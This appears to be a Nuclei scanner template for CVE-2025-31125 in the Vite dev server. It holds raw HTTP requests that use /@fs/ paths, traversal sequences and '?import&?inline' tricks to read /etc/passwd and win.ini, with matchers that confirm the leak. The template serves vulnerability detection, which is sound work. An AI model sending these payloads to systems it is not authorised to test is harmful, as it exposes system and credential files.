id: CVE-2025-31125

info:
  name: "Vite - Information Disclosure"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    Vite is a frontend tooling framework for javascript. Vite exposes content of non-allowed files using
    ?inline&import or ?raw?import.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-31125&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=vite&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-31125
    cwe-id: CWE-200
  metadata:
    verified: false
  tags: cve,cve2025,vite,lfi,vkev,vuln,kev
http:
  - raw:
      - |
        GET /@fs/C:/windows/win.ini?import&?inline=1.wasm?init HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /@fs/etc/passwd?import&?inline=1.wasm?init HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /@fs/../../../../../../../etc/passwd?import&?inline=1.wasm?init HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /@fs/%252e%252e/%252e%252e/%252e%252e/etc/passwd?import&?inline=1.wasm?init HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "data:application/octet-stream"
          - "base64"
          - "import init"
        condition: and

      - type: word
        part: header
        words:
          - "text/javascript"